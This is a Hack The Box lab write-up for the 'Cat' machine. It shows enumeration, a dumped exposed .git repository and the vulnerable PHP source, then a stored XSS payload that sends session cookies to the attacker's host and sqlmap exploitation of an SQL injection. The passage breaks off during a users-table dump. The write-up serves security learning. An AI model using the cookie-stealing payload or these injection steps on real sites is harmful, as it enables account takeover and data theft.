Post

HTB Writeup: Cat

Exposed .git → XSS → Webapp admin → SQLi → Creds reuse → Gitea XSS → root.

HTB Writeup: Cat

A quick walkthrough of HTB Cat Linux Medium Box.

TL;DR

  • Enumeration: Found only SSH (22) and HTTP (80). Web app “Cat” uses PHP + SQLite, with a /join.php registration system.
  • Web foothold: Discovered exposed .git folder → revealed source code → confirmed admin user “axel”.
  • XSS → Admin session: Stored XSS in view_cat.php allowed cookie theft → gained admin session.
  • SQLi (SQLite): Authenticated SQLi in accept_cat.php used to dump users table → recovered MD5 hashes.
  • Cred reuse: Cracked rosa:soyunaprincesarosa → SSH login.
  • Privilege escalation: Found admin creds for Gitea on localhost via leaked mail.
  • Gitea XSS → local file exfiltration → recovered admin credentials → reused as root.
  • Root: credentials reuse.

Initial enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ sudo nmap -Pn -n -T4 -sC -sV -A 10.129.83.32 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-04 15:18 CET
Nmap scan report for 10.129.83.32
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   23.85 ms 10.10.14.1
2   23.90 ms 10.129.83.32

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.89 seconds

As often, only ssh and the webapp are exposed on this box.

ProTip™: Add cat.htb to /etc/hosts so tools (and cookies) behave predictably.


Foothold

The web app is a contest dedicated to cats.

main

We begin with the basics, fuzzing for any low hanging fruit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://cat.htb/FUZZ -ic -e .php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cat.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.php                    [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 21ms]
                        [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 24ms]
img                     [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 24ms]
uploads                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 22ms]
admin.php               [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 23ms]
join.php                [Status: 200, Size: 4004, Words: 997, Lines: 141, Duration: 21ms]
css                     [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 22ms]
vote.php                [Status: 200, Size: 1242, Words: 319, Lines: 42, Duration: 20ms]
contest.php             [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 22ms]
index.php               [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 3928ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 27ms]
config.php              [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 22ms]
winners                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 22ms]
winners.php             [Status: 200, Size: 5082, Words: 1554, Lines: 197, Duration: 25ms]
.php                    [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 17ms]
                        [Status: 200, Size: 3075, Words: 870, Lines: 130, Duration: 20ms]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 23ms]
:: Progress: [441092/441092] :: Job [1/1] :: 1923 req/sec :: Duration: [0:04:52] :: Errors: 0 ::

There is a registration page where we can create a new account :

join

We can bruteforce this registration process in order to get valid usernames.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ -u 'http://cat.htb/join.php?username=FUZZ&email=FUZZ@fgh.com&password=root&registerForm=Register' -ic -fs 4068


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cat.htb/join.php?username=FUZZ&email=FUZZ&password=root&registerForm=Register
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 4068
________________________________________________

angel                   [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 774ms]
axel                    [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 125ms]
fabian                  [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 21ms]
gale                    [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 23ms]
larry                   [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 22ms]
peter                   [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 20ms]
robert                  [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 76ms]
rosa                    [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 24ms]
rosie                   [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 129ms]
sarene                  [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 23ms]
saudra                  [Status: 200, Size: 4090, Words: 1015, Lines: 142, Duration: 2416ms]
:: Progress: [10177/10177] :: Job [1/1] :: 42 req/sec :: Duration: [0:02:58] :: Errors: 0 ::

Any body size not being 4068 is a hit, thus a valid username.

Nuclei reported some .git folder available :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat/git-dumper]
└─$ nuclei -target cat.htb

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.3.0 (latest)
[INF] New templates added in latest release: 124
[INF] Templates loaded for current scan: 8650
[INF] Executing 7255 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 1395 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 1819 (Reduced 1710 Requests)
[INF] Using Interactsh Server: oast.site
[cookies-without-httponly] [javascript] [info] cat.htb ["PHPSESSID"]
[cookies-without-secure] [javascript] [info] cat.htb ["PHPSESSID"]
[external-service-interaction] [http] [info] http://cat.htb
[waf-detect:apachegeneric] [http] [info] http://cat.htb
[openssh-detect] [tcp] [info] cat.htb:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11"]
[git-config] [http] [medium] http://cat.htb/.git/config
[missing-cookie-samesite-strict] [http] [info] http://cat.htb ["PHPSESSID=ng5pphr7no3shvdtg63he4ib0v; path=/"]
[tech-detect:php] [http] [info] http://cat.htb
[apache-detect] [http] [info] http://cat.htb ["Apache/2.4.41 (Ubuntu)"]
[php-detect] [http] [info] http://cat.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://cat.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://cat.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://cat.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://cat.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://cat.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://cat.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://cat.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://cat.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://cat.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://cat.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://cat.htb
[caa-fingerprint] [dns] [info] cat.htb
[INF] Scan completed in 1m. 22 matches found.

We will dump it in order to check if there is any useful commit or data :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat/git-dumper]
└─$ python git_dumper.py http://cat.htb .git
/home/sc4nx/Downloads/HTBBoxes/Cat/git-dumper/git_dumper.py:409: SyntaxWarning: invalid escape sequence '\g'
  modified_content = re.sub(UNSAFE, '# \g<0>', content, flags=re.IGNORECASE)
Warning: Destination '.git' is not empty
[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://cat.htb/.gitignore [404]
[-] http://cat.htb/.gitignore responded with status code 404
[-] Fetching http://cat.htb/.git/description [200]
[-] Fetching http://cat.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://cat.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://cat.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://cat.htb/.git/hooks/post-receive.sample [404]
[-] http://cat.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://cat.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://cat.htb/.git/hooks/update.sample [200]
[-] Fetching http://cat.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://cat.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://cat.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://cat.htb/.git/info/exclude [200]
[-] Fetching http://cat.htb/.git/objects/info/packs [404]
[-] http://cat.htb/.git/objects/info/packs responded with status code 404
[-] Fetching http://cat.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://cat.htb/.git/hooks/post-commit.sample [404]
[-] http://cat.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://cat.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://cat.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://cat.htb/.git/index [200]
[-] Finding refs/
[-] Fetching http://cat.htb/.git/info/refs [404]
[-] Fetching http://cat.htb/.git/HEAD [200]
[-] http://cat.htb/.git/info/refs responded with status code 404
[-] Fetching http://cat.htb/.git/config [200]
[-] Fetching http://cat.htb/.git/ORIG_HEAD [404]
[-] http://cat.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://cat.htb/.git/FETCH_HEAD [404]
[-] http://cat.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://cat.htb/.git/logs/HEAD [200]
[-] Fetching http://cat.htb/.git/logs/refs/heads/production [404]
[-] Fetching http://cat.htb/.git/logs/refs/heads/staging [404]
[-] http://cat.htb/.git/logs/refs/heads/staging responded with status code 404
[-] http://cat.htb/.git/logs/refs/heads/production responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://cat.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/remotes/origin/master [404]
[-] http://cat.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/remotes/origin/main [404]
[-] http://cat.htb/.git/logs/refs/remotes/origin/main responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/remotes/origin/staging [404]
[-] http://cat.htb/.git/logs/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/heads/development [404]
[-] http://cat.htb/.git/logs/refs/heads/development responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/remotes/origin/production [404]
[-] http://cat.htb/.git/logs/refs/remotes/origin/production responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/stash [404]
[-] http://cat.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/remotes/origin/development [404]
[-] http://cat.htb/.git/logs/refs/remotes/origin/development responded with status code 404
[-] Fetching http://cat.htb/.git/packed-refs [404]
[-] http://cat.htb/.git/packed-refs responded with status code 404
[-] Fetching http://cat.htb/.git/refs/heads/main [404]
[-] Fetching http://cat.htb/.git/refs/heads/staging [404]
[-] http://cat.htb/.git/refs/heads/staging responded with status code 404
[-] http://cat.htb/.git/refs/heads/main responded with status code 404
[-] Fetching http://cat.htb/.git/refs/heads/master [200]
[-] Fetching http://cat.htb/.git/refs/heads/production [404]
[-] http://cat.htb/.git/refs/heads/production responded with status code 404
[-] Fetching http://cat.htb/.git/refs/heads/development [404]
[-] http://cat.htb/.git/refs/heads/development responded with status code 404
[-] Fetching http://cat.htb/.git/refs/remotes/origin/main [404]
[-] Fetching http://cat.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://cat.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] http://cat.htb/.git/refs/remotes/origin/main responded with status code 404
[-] Fetching http://cat.htb/.git/refs/remotes/origin/staging [404]
[-] Fetching http://cat.htb/.git/refs/remotes/origin/production [404]
[-] http://cat.htb/.git/refs/remotes/origin/production responded with status code 404
[-] Fetching http://cat.htb/.git/refs/remotes/origin/master [404]
[-] http://cat.htb/.git/refs/remotes/origin/master responded with status code 404
[-] http://cat.htb/.git/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://cat.htb/.git/refs/remotes/origin/development [404]
[-] http://cat.htb/.git/refs/remotes/origin/development responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/wtree/refs/heads/main [404]
[-] http://cat.htb/.git/refs/wip/wtree/refs/heads/main responded with status code 404
[-] Fetching http://cat.htb/.git/refs/stash [404]
[-] http://cat.htb/.git/refs/stash responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] Fetching http://cat.htb/.git/refs/wip/wtree/refs/heads/staging [404]
[-] http://cat.htb/.git/refs/wip/wtree/refs/heads/staging responded with status code 404
[-] http://cat.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/wtree/refs/heads/production [404]
[-] http://cat.htb/.git/refs/wip/wtree/refs/heads/production responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/wtree/refs/heads/development [404]
[-] http://cat.htb/.git/refs/wip/wtree/refs/heads/development responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/index/refs/heads/main [404]
[-] http://cat.htb/.git/refs/wip/index/refs/heads/main responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://cat.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/index/refs/heads/staging [404]
[-] Fetching http://cat.htb/.git/refs/wip/index/refs/heads/production [404]
[-] http://cat.htb/.git/refs/wip/index/refs/heads/production responded with status code 404
[-] http://cat.htb/.git/refs/wip/index/refs/heads/staging responded with status code 404
[-] Fetching http://cat.htb/.git/refs/wip/index/refs/heads/development [404]
[-] http://cat.htb/.git/refs/wip/index/refs/heads/development responded with status code 404
[-] Fetching http://cat.htb/.git/logs/refs/heads/main [404]
[-] Fetching http://cat.htb/.git/logs/refs/heads/master [200]
[-] http://cat.htb/.git/logs/refs/heads/main responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://cat.htb/.git/objects/b7/df8d295f9356332f9619ae5ecec3230a880ef2 [200]
[-] Fetching http://cat.htb/.git/objects/56/03bb235ee634e1d7914def967c26f9dd0963bb [200]
[-] Fetching http://cat.htb/.git/objects/26/bd62c92bcf4415f2b82514bbbac83936c53cb5 [200]
[-] Fetching http://cat.htb/.git/objects/31/e87489c5f8160f895e941d00087bea94f21315 [200]
[-] Fetching http://cat.htb/.git/objects/38/660821153b31dbbee89396eacf974c095ab0dc [200]
[-] Fetching http://cat.htb/.git/objects/09/7745b30047ab3d3e6e0c5239c2dfd5cac308a5 [200]
[-] Fetching http://cat.htb/.git/objects/9a/dbf70baf0e260d84d9c8666a0460e75e8be4a8 [200]
[-] Fetching http://cat.htb/.git/objects/64/d98c5af736de120e17eff23b17e22aad668718 [200]
[-] Fetching http://cat.htb/.git/objects/91/92afa265e9e73f533227e4f118f882615d3640 [200]
[-] Fetching http://cat.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://cat.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://cat.htb/.git/objects/b8/7b8c6317f8e419dac2c3ce3517a6c93b235028 [200]
[-] Fetching http://cat.htb/.git/objects/9b/e1a76f22449a7876a712d34dc092f477169c36 [200]
[-] Fetching http://cat.htb/.git/objects/0c/be0133fb00b13165bd7318e42e17f322daac7f [200]
[-] Fetching http://cat.htb/.git/objects/58/62718ef94b524f3e36627e6f2eae1e3570a7f4 [200]
[-] Fetching http://cat.htb/.git/objects/8c/2c2701eb4e3c9a42162cfb7b681b6166287fd5 [200]
[-] Fetching http://cat.htb/.git/objects/88/12266cb97013f416c175f9a9fa08aae524c92a [200]
[-] Fetching http://cat.htb/.git/objects/48/21d0cd8fecc8c3579be5735b1aab69f1637c86 [200]
[-] Fetching http://cat.htb/.git/objects/c9/e281ffb3f5431800332021326ba5e97aeb2764 [200]
[-] Fetching http://cat.htb/.git/objects/6f/ae98c9ae65a9ecbf37e821e7bafb48bcdac2bc [200]
[-] Fetching http://cat.htb/.git/objects/cf/8166a8873d413e6afd88fa03305880e795a2c6 [200]
[-] Fetching http://cat.htb/.git/objects/0f/fa90ae01a4f353aa2f6b2de03c212943412222 [200]
[-] Fetching http://cat.htb/.git/objects/7b/a662bf012ce71d0db9e86c80386b7ae0a54ea1 [200]
[-] Running git checkout .

PHP files revealed the username should be axel

1
2
3
4
5
// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}
1
2
3
4
if ($_SESSION['username'] == 'axel') {
    // If the logged in user is admin
    echo '<a href="/admin.php">Admin</a>';
}

That being said, we also noticed view_cat.php is displaying the username without any sanitization :

1
2
3
4
5
6
7
8
9
10
11
12
<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>

Last but not least, we spotted a SQLi in accept_cat.php. There’s no sanitization and $cat_name is directly used without any prepared statement. However, we can’t exploit this vulnerability as we’re not yet admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>

Back to our XSS, it means the view_cat.php page is vulnerable to Cross Site Scripting and that we could inject a specific value in order to steal admin cookie.

So we created another user with the registration process and using this payload for the username :

1
<script>document.location='http://10.10.15.66:8000/?c='+document.cookie;</script>

Then prepare a nc listener on port 8000, login and submit a dummy cat :

submit

Our submitted cat is now under review by admin :

inspect

We quickly received a hit on our nc listener with the admin cookie :

1
2
3
4
5
6
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.231.253 - - [15/Oct/2025 14:04:21] "GET /?c=PHPSESSID=r8ptn0tsaseqa9aq46nsc8m5ve HTTP/1.1" 200 -
10.129.231.253 - - [15/Oct/2025 14:04:21] code 404, message File not found
10.129.231.253 - - [15/Oct/2025 14:04:21] "GET /favicon.ico HTTP/1.1" 404 -

Note: Stealing the cookie is only possible because HttpOnly is not set on the PHPSESSID cookie. This was confirmed by the nuclei scan.

We now have access to the admin panel :

admin

Now that have access to admin functions, we can exploit the SQLi and dump the database. We’ll simply capture a POST request and use it with sqlmap :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://cat.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=sgm7qda2m4miebhb8jb90kfrhd
Priority: u=0

catName=test&catId=1

We then launched sqlmap and did some basic enumeration :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat/cat]
└─$ sqlmap -r ../reqAcceptCat --level 2 --risk 2
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[(]_____ ___ ___  {1.9#stable}                                                                                                                                                                                                     
|_ -| . [,]     | .'| . |                                                                                                                                                                                                                  
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:37:29 /2025-02-05/

[14:37:29] [INFO] parsing HTTP request from '../reqAcceptCat'
[14:37:29] [INFO] testing connection to the target URL
[14:37:29] [INFO] testing if the target URL content is stable
[14:37:29] [INFO] target URL content is stable
[14:37:29] [INFO] testing if POST parameter 'catName' is dynamic
[14:37:29] [WARNING] POST parameter 'catName' does not appear to be dynamic
[14:37:29] [WARNING] heuristic (basic) test shows that POST parameter 'catName' might not be injectable
[14:37:29] [INFO] testing for SQL injection on POST parameter 'catName'
[14:37:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:37:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[14:37:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[14:37:31] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[14:37:32] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[14:37:33] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[14:37:34] [INFO] testing 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[14:37:34] [INFO] POST parameter 'catName' appears to be 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)' injectable (with --code=200)
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (2) and risk (2) values? [Y/n] 

[14:37:37] [INFO] testing 'Generic inline queries'
[14:37:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:37:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:37:39] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[14:37:40] [INFO] checking if the injection point on POST parameter 'catName' is a false positive
POST parameter 'catName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

sqlmap identified the following injection point(s) with a total of 191 HTTP(s) requests:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
    Payload: catName=test' AND CASE WHEN 4473=4473 THEN 4473 ELSE JSON(CHAR(69,81,98,77)) END AND 'bxEf'='bxEf&catId=1
---
[14:37:41] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[14:37:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 113 times
[14:37:41] [INFO] fetched data logged to text files under '/home/sc4nx/.local/share/sqlmap/output/cat.htb'

[*] ending @ 14:37:41 /2025-02-05/

We can now fully dump the users table :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
┌──(venv)(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat/cat]
└─$ sqlmap -r ../reqAcceptCat --level 5 --risk 3  -T users --dump --dbms=SQLite --threads=10      
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___["]_____ ___ ___  {1.9#stable}                                                                                                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                                                                                                  
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:49:26 /2025-02-05/

[14:49:26] [INFO] parsing HTTP request from '../reqAcceptCat'
[14:49:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
